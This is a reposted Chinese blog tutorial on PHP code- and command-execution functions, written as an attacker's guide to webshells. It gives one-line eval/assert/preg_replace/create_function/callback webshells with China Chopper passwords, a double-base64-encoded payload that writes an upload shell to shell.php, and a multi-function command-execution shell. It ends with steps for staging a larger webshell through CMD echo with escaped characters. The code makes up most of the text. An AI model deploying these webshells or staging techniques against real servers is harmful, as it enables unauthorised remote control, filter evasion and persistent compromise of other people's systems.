php中代码执行&&命令执行函数
<p>转自i春秋 </p><h3>1、eval()函数</h3>
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">传入的参数必须为PHP代码,既需要以分号结尾。</span><span style="color: rgba(0, 128, 0, 1)">
#</span><span style="color: rgba(0, 128, 0, 1)">命令執行:cmd=system(whoami);</span><span style="color: rgba(0, 128, 0, 1)">
#</span><span style="color: rgba(0, 128, 0, 1)">菜刀连接密码:cmd</span>
<?php @<span style="color: rgba(0, 0, 255, 1)">eval</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['cmd']);?></pre>
</div>
<p><img src="https://img2018.cnblogs.com/blog/1545399/201905/1545399-20190506131338640-1269225603.png" alt=""></p>
<p>那么当我们上传了eval函数的菜刀马之后,在连接不上菜刀的情况下怎么上传大马呢?继续往下看<br>这里我是先写一个上传马,再用上传马去上传大马,有点多次一举,但是考虑到大马代码量太多,还是建议先写个上传马,以下代码只有1kb。</p>
<div class="cnblogs_code">
<pre><?<span style="color: rgba(0, 0, 0, 1)">php
@</span><span style="color: rgba(128, 0, 128, 1)">$temp</span> = <span style="color: rgba(128, 0, 128, 1)">$_FILES</span>['upload_file']['tmp_name'<span style="color: rgba(0, 0, 0, 1)">];
@</span><span style="color: rgba(128, 0, 128, 1)">$file</span> = <span style="color: rgba(0, 128, 128, 1)">basename</span>(<span style="color: rgba(128, 0, 128, 1)">$_FILES</span>['upload_file']['name'<span style="color: rgba(0, 0, 0, 1)">]);
</span><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 0, 255, 1)">empty</span> (<span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">)){
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<form action = '' method = 'POST' ENCTYPE='multipart/form-data'>\n";<span style="color: rgba(0, 0, 255, 1)">echo</span> "Local file: <input type = 'file' name = 'upload_file'>\n";<span style="color: rgba(0, 0, 255, 1)">echo</span> "<input type = 'submit' value = 'Upload'>\n";<span style="color: rgba(0, 0, 255, 1)">echo</span> "</form>\n<pre>\n\n</pre>";}<span style="color: rgba(0, 0, 255, 1)">else</span> {<span style="color: rgba(0, 0, 255, 1)">if</span>(<span style="color: rgba(0, 128, 128, 1)">move_uploaded_file</span>(<span style="color: rgba(128, 0, 128, 1)">$temp</span>,<span style="color: rgba(128, 0, 128, 1)">$file</span>)){<span style="color: rgba(0, 0, 255, 1)">echo</span> "File uploaded successfully.<p>\n";}<span style="color: rgba(0, 0, 255, 1)">else</span> {<span style="color: rgba(0, 0, 255, 1)">echo</span> "Unable to upload " . <span style="color: rgba(128, 0, 128, 1)">$file</span> . ".<p>\n";}}?></pre>
</div>
<p><span style="font-size: 18px">原理是利用文件操作函数如下:</span></p>
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 128, 128, 1)">fputs</span>(<span style="color: rgba(0, 128, 128, 1)">fopen</span>(shell.php,w),xxxx);</pre>
</div>
<p><span style="font-size: 18px">写入xxxx到脚本执行文件当前目录下的shell.php文件。<br>由于是利用post传参,不能出现【<】【>】【+】【=】【/】等符号,所以这里我们需要把代码编码一下,将上面的上传代码进行<span style="color: rgba(255, 0, 0, 1)">两次</span>base64编码(为了去除=号)。</span></p>
<p><span style="font-size: 18px"><span style="color: rgba(255, 0, 0, 1)">☆☆☆</span>在编码的时候空格和回车都会影响编码后的结果,因此建议大家直接复制我上面的上传马或者用下面我编码好的,或者自己去慢慢尝试直到base64编码后为一串自由数字和字母的字符串即可。<br>接下来利用文件操作函数写入上传马,注意不要忘了最后的分号。</span></p>
<div class="cnblogs_code">
<pre>cmd=<span style="color: rgba(0, 128, 128, 1)">fputs</span>(<span style="color: rgba(0, 128, 128, 1)">fopen</span>(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(c2hlbGwucGhw),w),<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(UEQ5d2FIQWdEUXBBSkhSbGJYQWdQU0FrWDBaSlRFVlRXeWQxY0d4dllXUmZabWxzWlNkZFd5ZDBiWEJmYm1GdFpTZGRPdzBLUUNSbWFXeGxJRDBnWW1GelpXNWhiV1VvSkY5R1NVeEZVMXNuZFhCc2IyRmtYMlpwYkdVblhWc25ibUZ0WlNkZEtUc05DbWxtSUNobGJYQjBlU0FvSkdacGJHVXBLWHNOQ21WamFHOGdJanhtYjNKdElHRmpkR2x2YmlBOUlDY25JRzFsZEdodlpDQTlJQ2RRVDFOVUp5QkZUa05VV1ZCRlBTZHRkV3gwYVhCaGNuUXZabTl5YlMxa1lYUmhKejVjYmlJN1pXTm9ieUFpVEc5allXd2dabWxzWlRvZ1BHbHVjSFYwSUhSNWNHVWdQU0FuWm1sc1pTY2dibUZ0WlNBOUlDZDFjR3h2WVdSZlptbHNaU2MrWEc0aU8yVmphRzhnSWp4cGJuQjFkQ0IwZVhCbElEMGdKM04xWW0xcGRDY2dkbUZzZFdVZ1BTQW5WWEJzYjJGa0p6NWNiaUk3WldOb2J5QWlQQzltYjNKdFBseHVQSEJ5WlQ1Y2JseHVQQzl3Y21VK0lqdDlaV3h6WlNCN2FXWW9iVzkyWlY5MWNHeHZZV1JsWkY5bWFXeGxLQ1IwWlcxd0xDUm1hV3hsS1NsN1pXTm9ieUFpUm1sc1pTQjFjR3h2WVdSbFpDQnpkV05qWlhOelpuVnNiSGt1UEhBK1hHNGlPMzFsYkhObElIdGxZMmh2SUNKVmJtRmliR1VnZEc4Z2RYQnNiMkZrSUNJZ0xpQWtabWxzWlNBdUlDSXVQSEErWEc0aU8zMTlQejQ9)));</pre>
</div>
<p>成功得到上传马,之后就是上传我们的大马了。</p>
<p><img src="https://img2018.cnblogs.com/blog/1545399/201905/1545399-20190506131549162-1232641888.png" alt=""></p>
<h3>2、assert()函数</h3>
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">assert函数是直接将传入的参数当成PHP代码直接,不需要以分号结尾,当然你加上也可以。</span><span style="color: rgba(0, 128, 0, 1)">
#</span><span style="color: rgba(0, 128, 0, 1)">命令執行:cmd=system(whoami)</span><span style="color: rgba(0, 128, 0, 1)">
#</span><span style="color: rgba(0, 128, 0, 1)">菜刀连接密码:cmd</span>
<?php @<span style="color: rgba(0, 128, 128, 1)">assert</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['cmd'])?></pre>
</div>
<p><img src="https://img2018.cnblogs.com/blog/1545399/201905/1545399-20190506131626039-808732056.png" alt=""></p>
<p>上传大马,这一步参考eval函数。<br><br> 其他的代码执行函数还有以下几个,均给出了菜刀马和连接方式:</p>
<h3>3、preg_replace()</h3>
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">preg_replace('正则规则','替换字符','目标字符')</span><span style="color: rgba(0, 128, 0, 1)">
#</span><span style="color: rgba(0, 128, 0, 1)">执行命令和上传文件参考assert函数(不需要加分号)。</span><span style="color: rgba(0, 128, 0, 1)">
#</span><span style="color: rgba(0, 128, 0, 1)">将目标字符中符合正则规则的字符替换为替换字符,此时如果正则规则中使用/e修饰符,则存在代码执行漏洞。</span>
<span style="color: rgba(0, 128, 128, 1)">preg_replace</span>("/test/e",<span style="color: rgba(128, 0, 128, 1)">$_POST</span>["cmd"],"jutst test");</pre>
</div>
<p><span style="font-size: medium">这里可以使用chr()函数转换ASCII编码来执行代码。<br></span></p>
<div class="quote">
<blockquote>#phpinfo();<br>eval(chr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111).chr(40).chr(41).chr(59))</blockquote>
</div>
<p> <img src="https://img2018.cnblogs.com/blog/1545399/201905/1545399-20190506131853747-1525048065.png" alt=""></p>
<h3>4、create_function()函数</h3>
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">创建匿名函数执行代码</span><span style="color: rgba(0, 128, 0, 1)">
#</span><span style="color: rgba(0, 128, 0, 1)">执行命令和上传文件参考eval函数(必须加分号)。</span><span style="color: rgba(0, 128, 0, 1)">
#</span><span style="color: rgba(0, 128, 0, 1)">菜刀连接密码:cmd</span>
<span style="color: rgba(128, 0, 128, 1)">$func</span> =<span style="color: rgba(0, 128, 128, 1)">create_function</span>('',<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['cmd']);<span style="color: rgba(128, 0, 128, 1)">$func</span>();</pre>
</div>
<h3>5、array_map()函数</h3>
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。</span><span style="color: rgba(0, 128, 0, 1)">
#</span><span style="color: rgba(0, 128, 0, 1)">命令执行http://localhost/123.php?func=system cmd=whoami</span><span style="color: rgba(0, 128, 0, 1)">
#</span><span style="color: rgba(0, 128, 0, 1)">菜刀连接http://localhost/123.php?func=assert 密码:cmd</span>
<span style="color: rgba(128, 0, 128, 1)">$func</span>=<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['func'<span style="color: rgba(0, 0, 0, 1)">];
</span><span style="color: rgba(128, 0, 128, 1)">$cmd</span>=<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">];
</span><span style="color: rgba(128, 0, 128, 1)">$array</span>=<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">;
</span><span style="color: rgba(128, 0, 128, 1)">$new_array</span>=<span style="color: rgba(0, 128, 128, 1)">array_map</span>(<span style="color: rgba(128, 0, 128, 1)">$func</span>,<span style="color: rgba(128, 0, 128, 1)">$array</span><span style="color: rgba(0, 0, 0, 1)">);
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> <span style="color: rgba(128, 0, 128, 1)">$new_array</span>;</pre>
</div>
<p><img src="https://img2018.cnblogs.com/blog/1545399/201905/1545399-20190506132111271-849125843.png" alt=""></p>
<h3>6、call_user_func()函数</h3>
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">传入的参数作为assert函数的参数</span><span style="color: rgba(0, 128, 0, 1)">
#</span><span style="color: rgba(0, 128, 0, 1)">cmd=system(whoami)</span><span style="color: rgba(0, 128, 0, 1)">
#</span><span style="color: rgba(0, 128, 0, 1)">菜刀连接密码:cmd</span>
<span style="color: rgba(0, 128, 128, 1)">call_user_func</span>("assert",<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['cmd']);</pre>
</div>
<h3>7、call_user_func_array()函数</h3>
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">将传入的参数作为数组的第一个值传递给assert函数</span><span style="color: rgba(0, 128, 0, 1)">
#</span><span style="color: rgba(0, 128, 0, 1)">cmd=system(whoami)</span><span style="color: rgba(0, 128, 0, 1)">
#</span><span style="color: rgba(0, 128, 0, 1)">菜刀连接密码:cmd</span>
<span style="color: rgba(128, 0, 128, 1)">$cmd</span>=<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">];
</span><span style="color: rgba(128, 0, 128, 1)">$array</span>=<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">;
</span><span style="color: rgba(0, 128, 128, 1)">call_user_func_array</span>("assert",<span style="color: rgba(128, 0, 128, 1)">$array</span>);</pre>
</div>
<h3>8、array_filter()函数</h3>
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">用回调函数过滤数组中的元素:array_filter(数组,函数)</span><span style="color: rgba(0, 128, 0, 1)">
#</span><span style="color: rgba(0, 128, 0, 1)">命令执行func=system&cmd=whoami</span><span style="color: rgba(0, 128, 0, 1)">
#</span><span style="color: rgba(0, 128, 0, 1)">菜刀连接http://localhost/123.php?func=assert 密码cmd</span>
<span style="color: rgba(128, 0, 128, 1)">$cmd</span>=<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">];
</span><span style="color: rgba(128, 0, 128, 1)">$array1</span>=<span style="color: rgba(0, 0, 255, 1)">array</span>(<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">);
</span><span style="color: rgba(128, 0, 128, 1)">$func</span> =<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['func'<span style="color: rgba(0, 0, 0, 1)">];
</span><span style="color: rgba(0, 128, 128, 1)">array_filter</span>(<span style="color: rgba(128, 0, 128, 1)">$array1</span>,<span style="color: rgba(128, 0, 128, 1)">$func</span>);</pre>
</div>
<h3>9、uasort()函数</h3>
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">php环境>=<5.6才能用</span><span style="color: rgba(0, 128, 0, 1)">
#</span><span style="color: rgba(0, 128, 0, 1)">uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。</span><span style="color: rgba(0, 128, 0, 1)">
#</span><span style="color: rgba(0, 128, 0, 1)">命令执行:http://localhost/123.php?1=1+1&2=eval($_GET)&cmd=system(whoami);</span><span style="color: rgba(0, 128, 0, 1)">
#</span><span style="color: rgba(0, 128, 0, 1)">菜刀连接:http://localhost/123.php?1=1+1&2=eval($_POST) 密码:cmd</span>
<span style="color: rgba(0, 128, 128, 1)">usort</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>,'asse'.'rt');</pre>
</div>
<h2>二、命令执行函数 </h2>
<p><span style="font-size: 18px">PHP执行系统命令的有几个常用的函数,如有:<span style="color: rgba(255, 0, 0, 1)">system</span>函数、<span style="color: rgba(255, 0, 0, 1)">exec</span>函数、<span style="color: rgba(255, 0, 0, 1)">popen</span>函数,<span style="color: rgba(255, 0, 0, 1)">passthru</span>,<span style="color: rgba(255, 0, 0, 1)">shell_exe</span>c函数他们都可以执行系统命令,下面是我整理的一个命令马,把常见的命令执行函数都做了一个梳理,如果大家还有什么新的思路或见解,可以一起交流交流。</span></p>
<div class="cnblogs_code">
<pre><?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(128, 0, 128, 1)">$command</span>=<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">];
</span><span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">function exec_all($command)</span><span style="color: rgba(0, 128, 0, 1)">
#</span><span style="color: rgba(0, 128, 0, 1)">{
//system函数可执行并直接显示结果</span>
<span style="color: rgba(0, 0, 255, 1)">if</span>(<span style="color: rgba(0, 128, 128, 1)">function_exists</span>('system'<span style="color: rgba(0, 0, 0, 1)">))
{
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<pre>"<span style="color: rgba(0, 0, 0, 1)">;
</span><span style="color: rgba(0, 128, 128, 1)">system</span>(<span style="color: rgba(128, 0, 128, 1)">$command</span><span style="color: rgba(0, 0, 0, 1)">);
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "</pre>"<span style="color: rgba(0, 0, 0, 1)">;
}
</span><span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">passthru函数可执行并直接显示结果</span>
<span style="color: rgba(0, 0, 255, 1)">else</span> <span style="color: rgba(0, 0, 255, 1)">if</span>(<span style="color: rgba(0, 128, 128, 1)">function_exists</span>('passthru'<span style="color: rgba(0, 0, 0, 1)">))
{
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<pre>"<span style="color: rgba(0, 0, 0, 1)">;
</span><span style="color: rgba(0, 128, 128, 1)">passthru</span>(<span style="color: rgba(128, 0, 128, 1)">$command</span><span style="color: rgba(0, 0, 0, 1)">);
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "</pre>"<span style="color: rgba(0, 0, 0, 1)">;
}
</span><span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">shell_exec函数可执行但需要加echo才能显示结果</span>
<span style="color: rgba(0, 0, 255, 1)">else</span> <span style="color: rgba(0, 0, 255, 1)">if</span>(<span style="color: rgba(0, 128, 128, 1)">function_exists</span>('shell_exec'<span style="color: rgba(0, 0, 0, 1)">))
{
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<pre>"<span style="color: rgba(0, 0, 0, 1)">;
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> <span style="color: rgba(0, 128, 128, 1)">shell_exec</span>(<span style="color: rgba(128, 0, 128, 1)">$command</span><span style="color: rgba(0, 0, 0, 1)">);
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "</pre>"<span style="color: rgba(0, 0, 0, 1)">;
}
</span><span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">function exec(命令,以数组形式的保存结果,命令执行的状态码)
//可执行,但需要加echo才能显示结果</span>
<span style="color: rgba(0, 0, 255, 1)">else</span> <span style="color: rgba(0, 0, 255, 1)">if</span>(<span style="color: rgba(0, 128, 128, 1)">function_exists</span>('exec'<span style="color: rgba(0, 0, 0, 1)">))
{
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<pre>"<span style="color: rgba(0, 0, 0, 1)">;
</span><span style="color: rgba(0, 128, 128, 1)">exec</span>(<span style="color: rgba(128, 0, 128, 1)">$command</span>,<span style="color: rgba(128, 0, 128, 1)">$output</span><span style="color: rgba(0, 0, 0, 1)">);
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "</br>"<span style="color: rgba(0, 0, 0, 1)">;
</span><span style="color: rgba(0, 128, 128, 1)">print_r</span>(<span style="color: rgba(128, 0, 128, 1)">$output</span><span style="color: rgba(0, 0, 0, 1)">);
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "</pre>"<span style="color: rgba(0, 0, 0, 1)">;
}
</span><span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">popen函数:打开一个指向进程的管道,该进程由派生指定的 command 命令执行而产生。
//返回一个和 fopen() 所返回的相同的文件指针,只不过它是单向的(只能用于读或写)
//此指针可以用于 fgets(),fgetss() 和 fwrite()。并且必须用 pclose() 来关闭。
//若出错,则返回 false。</span>
<span style="color: rgba(0, 0, 255, 1)">else</span> <span style="color: rgba(0, 0, 255, 1)">if</span>(<span style="color: rgba(0, 128, 128, 1)">function_exists</span>('popen'<span style="color: rgba(0, 0, 0, 1)">))
{
</span><span style="color: rgba(128, 0, 128, 1)">$handle</span> = <span style="color: rgba(0, 128, 128, 1)">popen</span>(<span style="color: rgba(128, 0, 128, 1)">$command</span> , "r"); <span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)"> Open the command pipe for reading</span>
<span style="color: rgba(0, 0, 255, 1)">if</span>(<span style="color: rgba(0, 128, 128, 1)">is_resource</span>(<span style="color: rgba(128, 0, 128, 1)">$handle</span><span style="color: rgba(0, 0, 0, 1)">))
{
</span><span style="color: rgba(0, 0, 255, 1)">if</span>(<span style="color: rgba(0, 128, 128, 1)">function_exists</span>('fread') && <span style="color: rgba(0, 128, 128, 1)">function_exists</span>('feof'<span style="color: rgba(0, 0, 0, 1)">))
{
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<pre>"<span style="color: rgba(0, 0, 0, 1)">;
</span><span style="color: rgba(0, 0, 255, 1)">while</span>(!<span style="color: rgba(0, 128, 128, 1)">feof</span>(<span style="color: rgba(128, 0, 128, 1)">$handle</span><span style="color: rgba(0, 0, 0, 1)">))
{
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> <span style="color: rgba(0, 128, 128, 1)">fread</span>(<span style="color: rgba(128, 0, 128, 1)">$handle</span>, 1024<span style="color: rgba(0, 0, 0, 1)">);
}
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "</pre>"<span style="color: rgba(0, 0, 0, 1)">;
}
</span><span style="color: rgba(0, 0, 255, 1)">else</span> <span style="color: rgba(0, 0, 255, 1)">if</span>(<span style="color: rgba(0, 128, 128, 1)">function_exists</span>('fgets') && <span style="color: rgba(0, 128, 128, 1)">function_exists</span>('feof'<span style="color: rgba(0, 0, 0, 1)">))
{
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<pre>"<span style="color: rgba(0, 0, 0, 1)">;
</span><span style="color: rgba(0, 0, 255, 1)">while</span>(!<span style="color: rgba(0, 128, 128, 1)">feof</span>(<span style="color: rgba(128, 0, 128, 1)">$handle</span><span style="color: rgba(0, 0, 0, 1)">))
{
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> <span style="color: rgba(0, 128, 128, 1)">fgets</span>(<span style="color: rgba(128, 0, 128, 1)">$handle</span>,1024<span style="color: rgba(0, 0, 0, 1)">);
}
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<pre>"<span style="color: rgba(0, 0, 0, 1)">;
}
}
</span><span style="color: rgba(0, 128, 128, 1)">pclose</span>(<span style="color: rgba(128, 0, 128, 1)">$handle</span><span style="color: rgba(0, 0, 0, 1)">);
}
</span><span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">proc_open — 执行一个命令,并且打开用来输入/输出的文件指针。</span>
<span style="color: rgba(0, 0, 255, 1)">else</span> <span style="color: rgba(0, 0, 255, 1)">if</span>(<span style="color: rgba(0, 128, 128, 1)">function_exists</span>('proc_open'<span style="color: rgba(0, 0, 0, 1)">))
{
</span><span style="color: rgba(128, 0, 128, 1)">$descriptorspec</span> = <span style="color: rgba(0, 0, 255, 1)">array</span><span style="color: rgba(0, 0, 0, 1)">(
</span>1 => <span style="color: rgba(0, 0, 255, 1)">array</span>("pipe", "w"), <span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)"> stdout is a pipe that the child will write to</span>
<span style="color: rgba(0, 0, 0, 1)"> );
</span><span style="color: rgba(128, 0, 128, 1)">$handle</span> = <span style="color: rgba(0, 128, 128, 1)">proc_open</span>(<span style="color: rgba(128, 0, 128, 1)">$command</span> ,<span style="color: rgba(128, 0, 128, 1)">$descriptorspec</span> , <span style="color: rgba(128, 0, 128, 1)">$pipes</span>); <span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)"> This will return the output to an array 'pipes'</span>
<span style="color: rgba(0, 0, 255, 1)">if</span>(<span style="color: rgba(0, 128, 128, 1)">is_resource</span>(<span style="color: rgba(128, 0, 128, 1)">$handle</span><span style="color: rgba(0, 0, 0, 1)">))
{
</span><span style="color: rgba(0, 0, 255, 1)">if</span>(<span style="color: rgba(0, 128, 128, 1)">function_exists</span>('fread') && <span style="color: rgba(0, 128, 128, 1)">function_exists</span>('feof'<span style="color: rgba(0, 0, 0, 1)">))
{
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<pre>"<span style="color: rgba(0, 0, 0, 1)">;
</span><span style="color: rgba(0, 0, 255, 1)">while</span>(!<span style="color: rgba(0, 128, 128, 1)">feof</span>(<span style="color: rgba(128, 0, 128, 1)">$pipes</span>))
{
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> <span style="color: rgba(0, 128, 128, 1)">fread</span>(<span style="color: rgba(128, 0, 128, 1)">$pipes</span>, 1024<span style="color: rgba(0, 0, 0, 1)">);
}
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "</pre>"<span style="color: rgba(0, 0, 0, 1)">;
}
</span><span style="color: rgba(0, 0, 255, 1)">else</span> <span style="color: rgba(0, 0, 255, 1)">if</span>(<span style="color: rgba(0, 128, 128, 1)">function_exists</span>('fgets') && <span style="color: rgba(0, 128, 128, 1)">function_exists</span>('feof'<span style="color: rgba(0, 0, 0, 1)">))
{
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<pre>"<span style="color: rgba(0, 0, 0, 1)">;
</span><span style="color: rgba(0, 0, 255, 1)">while</span>(!<span style="color: rgba(0, 128, 128, 1)">feof</span>(<span style="color: rgba(128, 0, 128, 1)">$pipes</span>))
{
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> <span style="color: rgba(0, 128, 128, 1)">fgets</span>(<span style="color: rgba(128, 0, 128, 1)">$pipes</span>,1024<span style="color: rgba(0, 0, 0, 1)">);
}
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<pre>"<span style="color: rgba(0, 0, 0, 1)">;
}
}
</span><span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">pclose($handle);</span>
<span style="color: rgba(0, 0, 0, 1)">}
</span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)">
{
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> 'GG'<span style="color: rgba(0, 0, 0, 1)">;
}
</span><span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">}</span></pre>
</div>
<p><span style="font-size: 18px">其他函数:</span><br><span style="font-size: 18px">暂时就知道其他两个函数,不过也都是基于以上的函数所变化的。</span></p>
<div class="cnblogs_code">
<pre><?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(128, 0, 128, 1)">$cmd</span>=<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">];
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<pre>"<span style="color: rgba(0, 0, 0, 1)">;
</span><span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">可执行并直接显示结果,反引号,波浪键。
//shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体
//所以如果把shell_exec()函数禁用了,反撇号 (`)也是执行不了命令的。</span>
<span style="color: rgba(0, 0, 255, 1)">echo</span> `<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">`;
</span><span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">注意,这个只显示结果的第一行,因此基本只能执行whoami
//ob_start:打开缓冲区,需要system函数开启</span>
<span style="color: rgba(128, 0, 128, 1)">$a</span> = 'system'<span style="color: rgba(0, 0, 0, 1)">;
</span><span style="color: rgba(0, 128, 128, 1)">ob_start</span>(<span style="color: rgba(128, 0, 128, 1)">$a</span><span style="color: rgba(0, 0, 0, 1)">);
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<span style="color: rgba(128, 0, 128, 1)">$_POST</span>"<span style="color: rgba(0, 0, 0, 1)">;
</span><span style="color: rgba(0, 128, 128, 1)">ob_end_flush</span><span style="color: rgba(0, 0, 0, 1)">();
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "</pre>";</pre>
</div>
<p><span style="font-size: 14pt">上面讲完命令执行命令,也都可以执行命令了,那么如何利用这些命令马来进一步上传我们的大马呢,这里就要涉及到一下CMD命令了,有兴趣的同学可以去参考链接查看《CMD命令特殊符号》的文章。</span><br><span style="font-size: 14pt"><br> 这里了我是用echo写文件的思路,遗忘大佬教的用msf结合命令行去下载大马我暂时还没去实践,就留着以后有时间再写了,废话不多说,开干吧!</span></p>
<p><span style="font-size: 14pt"><img src="https://img2018.cnblogs.com/blog/1545399/201905/1545399-20190506132934297-1853048567.png" alt=""></span></p>
<p><img src="https://img2018.cnblogs.com/blog/1545399/201905/1545399-20190506132944801-681034947.png" alt=""></p>
<p><span style="font-size: 14pt">然后用【echo】命令写入我们的上传马</span></p>
<p><img src="https://img2018.cnblogs.com/blog/1545399/201905/1545399-20190506132954499-1249643553.png" alt=""></p>
<p><span style="font-size: 14pt"><span style="color: rgba(255, 0, 0, 1)">☆☆☆</span>这里注意【<】【>】【&】这三个字符在CMD命令行中有特殊意义,需要在前面加【^】进行转义,可以用文本的替换来实现这个功能。</span></p>
<p><span style="font-size: 14pt"><img src="https://img2018.cnblogs.com/blog/1545399/201905/1545399-20190506133052527-299482910.png" alt=""></span></p>
<p><span style="font-size: 18px">写入成功之后就可以上传我们的大马啦 ^-^!</span></p>
<p> </p>
</div>
<div id="MySignature" role="contentinfo">
<div>静有所思,思有所想 </div>
<p>------------------------------------------------------------------------------------</p>
<div>mail: 779783493@qq.com</div><br><br>
来源:https://www.cnblogs.com/-qing-/p/10819069.html
頁:
[1]